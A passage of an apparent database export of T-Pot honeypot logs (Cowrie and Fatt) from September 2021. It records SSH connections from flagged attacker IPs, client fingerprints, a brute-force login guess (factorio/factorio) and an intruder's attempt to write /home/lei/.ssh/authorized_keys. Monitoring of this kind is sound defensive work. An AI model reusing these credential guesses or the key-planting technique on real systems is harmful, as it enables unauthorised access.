"is_ssh_client_banner"]}, "src_port": 44016, "dest_port": 22, "timestamp": "2021-09-20T11:15:36.242861Z", "@timestamp": "2021-09-20T11:15:36.242Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27903	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:36.243016+03	2021-09-20 14:30:02.130524+03	{"_id": "qwbrAnwBvYTbRNuEIipu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44016, "timestamp": "2021-09-20T11:15:36.243016", "@timestamp": "2021-09-20T11:15:36.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27904	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:36.072432+03	2021-09-20 14:30:02.132525+03	{"_id": "rQbrAnwBvYTbRNuEIyoz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f359bd8adf02", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:36.072432Z", "@timestamp": "2021-09-20T11:15:36.072Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27905	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:15:37.444972+03	2021-09-20 14:30:02.133524+03	{"_id": "sAbrAnwBvYTbRNuEJyob", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:51685 (192.168.176.2:22) [session: f25012e6ece1]", "session": "f25012e6ece1", "@version": "1", "protocol": "ssh", "src_port": 51685, "dest_port": 22, "timestamp": "2021-09-20T11:15:37.444972Z", "@timestamp": "2021-09-20T11:15:37.444Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27906	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:15:34.747096+03	2021-09-20 14:30:02.135524+03	{"_id": "nQbrAnwBvYTbRNuEHiqF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 51032, "dest_port": 22, "timestamp": "2021-09-20T11:15:34.747096", "@timestamp": "2021-09-20T11:15:34.747Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27907	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:15:36.307215+03	2021-09-20 14:30:02.136524+03	{"_id": "qgbrAnwBvYTbRNuEIipu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44016, "dest_port": 22, "timestamp": "2021-09-20T11:15:36.307215", "@timestamp": "2021-09-20T11:15:36.307Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27908	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:35.965187+03	2021-09-20 14:30:02.137524+03	{"_id": "rAbrAnwBvYTbRNuEIyoy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:44016 (192.168.176.2:22) [session: f359bd8adf02]", "session": "f359bd8adf02", "@version": "1", "protocol": "ssh", "src_port": 44016, "dest_port": 22, "timestamp": "2021-09-20T11:15:35.965187Z", "@timestamp": "2021-09-20T11:15:35.965Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27909	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:44.930936+03	2021-09-20 14:30:02.139523+03	{"_id": "GQbrAnwBvYTbRNuERitm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:59498 (192.168.176.2:22) [session: 28e0283c5861]", "session": "28e0283c5861", "@version": "1", "protocol": "ssh", "src_port": 59498, "dest_port": 22, "timestamp": "2021-09-20T11:15:44.930936Z", "@timestamp": "2021-09-20T11:15:44.930Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27910	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:45.77967+03	2021-09-20 14:30:02.140524+03	{"_id": "FQbrAnwBvYTbRNuERitm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "81.71.17.12", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.5714836120605469, "duplicate": true, "timestamp": "2021-09-20T11:15:45.779670Z", "@timestamp": "2021-09-20T11:15:45.779Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
27911	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:45.776697+03	2021-09-20 14:30:02.141523+03	{"_id": "GwbrAnwBvYTbRNuERitm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "81.71.17.12", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "10e67aad7ad1", "@version": "1", "destfile": "/home/lei/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:15:45.776697Z", "@timestamp": "2021-09-20T11:15:45.776Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
27912	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:46.426255+03	2021-09-20 14:30:02.142524+03	{"_id": "JAbrAnwBvYTbRNuESitO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:50562 (192.168.176.2:22) [session: e452297a139f]", "session": "e452297a139f", "@version": "1", "protocol": "ssh", "src_port": 50562, "dest_port": 22, "timestamp": "2021-09-20T11:15:46.426255Z", "@timestamp": "2021-09-20T11:15:46.426Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27923	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:54.01953+03	2021-09-20 14:30:02.158523+03	{"_id": "jgbrAnwBvYTbRNuEaSuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [factorio/factorio] failed", "session": "4905fbece771", "@version": "1", "password": "factorio", "username": "factorio", "timestamp": "2021-09-20T11:15:54.019530Z", "@timestamp": "2021-09-20T11:15:54.019Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27913	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:36.307883+03	2021-09-20 14:30:02.144523+03	{"_id": "rgbrAnwBvYTbRNuEIyoz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f359bd8adf02", "@version": "1", "timestamp": "2021-09-20T11:15:36.307883Z", "@timestamp": "2021-09-20T11:15:36.307Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
